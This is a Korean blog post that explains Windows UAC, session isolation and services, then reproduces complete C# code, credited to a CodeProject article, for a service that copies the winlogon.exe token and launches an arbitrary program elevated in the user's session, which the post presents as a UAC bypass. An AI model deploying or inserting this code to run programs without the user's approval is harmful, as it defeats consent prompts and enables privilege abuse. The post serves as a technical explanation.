Programming, IT, Algorithm, Security
article thumbnail

UAC 란?

Windows의 UAC

 

바로 위와 같은 화면을 Windows를 사용하는 사람이라면 자주 보았을 것이다.

이것이 바로 UAC이다.

 

UAC는 User Account Control(사용자 계정 컨트롤)의 약자로 보안을 위하여 사용자에게 직접 권한 허용을 요구한다.

Window Vista 부터 적용되었으며, 관리자 권한 취득 등의 시스템에 큰 영향을 줄 수 있는 행동이 감지될 경우 실행된다.

보안 방면에서는 매우 좋지만, 관리자 권한이 필요한 프로그램을 유저의 허락 없이 자동으로 실행하고 명령을 수행할때 걸림돌이 된다.

 

그래서 우리는 UAC를 우회하여 프로그램을 자동으로 실행하는 방법을 알아보고자 한다.

 

그 전에, Windows의 프로그램이 어떤 구조로 실행되는지에 대해 알아야 한다.

 

Windows의 Session 이란?

 

Session이 무엇인가?

알다시피, Windows는 여러 유저가 사용할수 있도록 여러개의 계정을 만들 수 있다.

 

이때, 각각의 유저가 실행한 Process를 Windows에서 쉽게 관리 할수 있도록 Process를 유저별로 Session이라는 것을 만들어 구분해놓은 것이다.

 

 

 

Session 0에 대하여

여러개의 Session 중에서 가장 먼저 만들어진 Session을 Session 0이라고 한다.

 

Windows Vista 이전의 Session 구조

Windows Vista 이전의 Session 구조는 위 그림과 같았다. Session0에 Service와 Application이 공존한다.

 

Windows Vista 부터의 Session 구조

하지만 Vista 부터는 Service와 Application이 모든 세션에서 분리되었다.

 

Vista의 이러한 변화는 서비스가 애플리케이션 코드로부터 보호되어야 하기 때문이다.


또, 서비스가 보호되어야 하는 이유는 서비스들은 상승된 권한에서 수행되고 따라서 사용자 프로그램이 제어할 수 없는 것들에도 접근할 수 있기 때문이다.

 

Windows Service란?

여기에서 말하는 Service는 Windows에서 어떤 역할을 할까?

 

윈도우 서비스(Windows service)는 오랜 시간 동안 실행되며 특정한 기능을 수행하는 실행 파일이며, 사용자 간섭을 요구하도록 설계되지 않았다. 윈도우 서비스는 보통 마이크로소프트 윈도우 운영 체제가 시동될 때 실행되며 윈도우가 실행되고 있는 한 백그라운드 모드에서 실행된다.

 

위에 써있는 Service의 정의에서 주목해야 할 것은 바로 "윈도우 운영 체제가 시동될 때 실행"된다는 것이다.

 

Service가 상승된 권한에서 수행되며, 운영체제가 시동될때 실행된다는 점을 이용하면 로그오프 상태에서  UAC를 충분히 우회하여 프로그램을 실행할 수 있다.

 

 

 

 

 

 

Windows Service를 응용한 UAC Bypass 구현

위에서 말했다시피 Windows Vista부터 Session이 분리되었기 때문에 Session 0에서 실행되고 있는 Service를 이용하여 Session 1에 있는 Application를 실행시켜야한다.

 

Service는 보통 LocalSystem 권한을 가지고 있기 때문에 Service만 한번 설치해 놓으면 Session 0에서 winlogon.exe 프로세스와 win32api를 이용하여 Session 1 프로그램을 호출 가능하다

 

구체적인 코드는 다음과 같다.

using System;
using System.Security;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;

namespace WindowsService1
{
    /// <summary>
    /// Class that allows running applications with full admin rights. In
    /// addition the application launched will bypass the Vista UAC prompt.
    /// </summary>
    public class ApplicationLoader
    {
        #region Structures

        [StructLayout(LayoutKind.Sequential)]
        public struct SECURITY_ATTRIBUTES
        {
            public int Length;
            public IntPtr lpSecurityDescriptor;
            public bool bInheritHandle;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct STARTUPINFO
        {
            public int cb;
            public String lpReserved;
            public String lpDesktop;
            public String lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }

        #endregion

        #region Enumerations

        enum TOKEN_TYPE : int
        {
            TokenPrimary = 1,
            TokenImpersonation = 2
        }

        enum SECURITY_IMPERSONATION_LEVEL : int
        {
            SecurityAnonymous = 0,
            SecurityIdentification = 1,
            SecurityImpersonation = 2,
            SecurityDelegation = 3,
        }

        #endregion

        #region Constants

        public const int TOKEN_DUPLICATE = 0x0002;
        public const uint MAXIMUM_ALLOWED = 0x2000000;
        public const int CREATE_NEW_CONSOLE = 0x00000010;

        public const int IDLE_PRIORITY_CLASS = 0x40;
        public const int NORMAL_PRIORITY_CLASS = 0x20;
        public const int HIGH_PRIORITY_CLASS = 0x80;
        public const int REALTIME_PRIORITY_CLASS = 0x100;

        #endregion

        #region Win32 API Imports

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool CloseHandle(IntPtr hSnapshot);

        [DllImport("kernel32.dll")]
        static extern uint WTSGetActiveConsoleSessionId();

        [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
        public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
            ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
            String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

        [DllImport("kernel32.dll")]
        static extern bool ProcessIdToSessionId(uint dwProcessId, ref uint pSessionId);

        [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
        public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess,
            ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType,
            int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);

        [DllImport("kernel32.dll")]
        static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);

        [DllImport("advapi32", SetLastError = true), SuppressUnmanagedCodeSecurityAttribute]
        static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, ref IntPtr TokenHandle);

        #endregion

        /// <summary>
        /// Launches the given application with full admin rights, and in addition bypasses the Vista UAC prompt
        /// </summary>
        /// <param name="applicationName">The name of the application to launch</param>
        /// <param name="procInfo">Process information regarding the launched application that gets returned to the caller</param>
        /// <returns></returns>
        public static bool StartProcessAndBypassUAC(String applicationName, out PROCESS_INFORMATION procInfo)
        {
            uint winlogonPid = 0;
            IntPtr hUserTokenDup = IntPtr.Zero, hPToken = IntPtr.Zero, hProcess = IntPtr.Zero;
            procInfo = new PROCESS_INFORMATION();

            // obtain the currently active session id; every logged on user in the system has a unique session id
            uint dwSessionId = WTSGetActiveConsoleSessionId();

            // obtain the process id of the winlogon process that is running within the currently active session
            Process[] processes = Process.GetProcessesByName("winlogon");
            foreach (Process p in processes)
            {
                if ((uint)p.SessionId == dwSessionId)
                {
                    winlogonPid = (uint)p.Id;
                }
            }

            // obtain a handle to the winlogon process
            hProcess = OpenProcess(MAXIMUM_ALLOWED, false, winlogonPid);

            // obtain a handle to the access token of the winlogon process
            if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, ref hPToken))
            {
                CloseHandle(hProcess);
                return false;
            }


            // Security attibute structure used in DuplicateTokenEx and CreateProcessAsUser
            // I would prefer to not have to use a security attribute variable and to just 
            // simply pass null and inherit (by default) the security attributes
            // of the existing token. However, in C# structures are value types and therefore
            // cannot be assigned the null value.
            SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
            sa.Length = Marshal.SizeOf(sa);


            // copy the access token of the winlogon process; the newly created token will be a primary token
            if (!DuplicateTokenEx(hPToken, MAXIMUM_ALLOWED, ref sa, (int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, (int)TOKEN_TYPE.TokenPrimary, ref hUserTokenDup))
            {
                CloseHandle(hProcess);
                CloseHandle(hPToken);
                return false;
            }

            // By default CreateProcessAsUser creates a process on a non-interactive window station, meaning
            // the window station has a desktop that is invisible and the process is incapable of receiving
            // user input. To remedy this we set the lpDesktop parameter to indicate we want to enable user 
            // interaction with the new process.
            STARTUPINFO si = new STARTUPINFO();
            si.cb = (int)Marshal.SizeOf(si);
            si.lpDesktop = @"winsta0\default"; // interactive window station parameter; basically this indicates that the process created can display a GUI on the desktop

            // flags that specify the priority and creation method of the process
            int dwCreationFlags = NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE;

            // create a new process in the current user's logon session
            bool result = CreateProcessAsUser(hUserTokenDup,        // client's access token
                                            null,                   // file to execute
                                            applicationName,        // command line
                                            ref sa,                 // pointer to process SECURITY_ATTRIBUTES
                                            ref sa,                 // pointer to thread SECURITY_ATTRIBUTES
                                            false,                  // handles are not inheritable
                                            dwCreationFlags,        // creation flags
                                            IntPtr.Zero,            // pointer to new environment block 
                                            null,                   // name of current directory 
                                            ref si,                 // pointer to STARTUPINFO structure
                                            out procInfo            // receives information about new process
                                            );

            // invalidate the handles
            CloseHandle(hProcess);
            CloseHandle(hPToken);
            CloseHandle(hUserTokenDup);

            return result; // return the result
        }

    }
}

출처: https://www.codeproject.com/Articles/35773/Subverting-Vista-UAC-in-Both-32-and-64-bit-Architecture

 

Subverting Vista UAC in Both 32 and 64 bit Architectures

This article illustrates how to bypass Vista UAC as well as how to correctly launch an interactive process from a Windows Service.

www.codeproject.com

 

profile

Programming, IT, Algorithm, Security

@PITAS

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!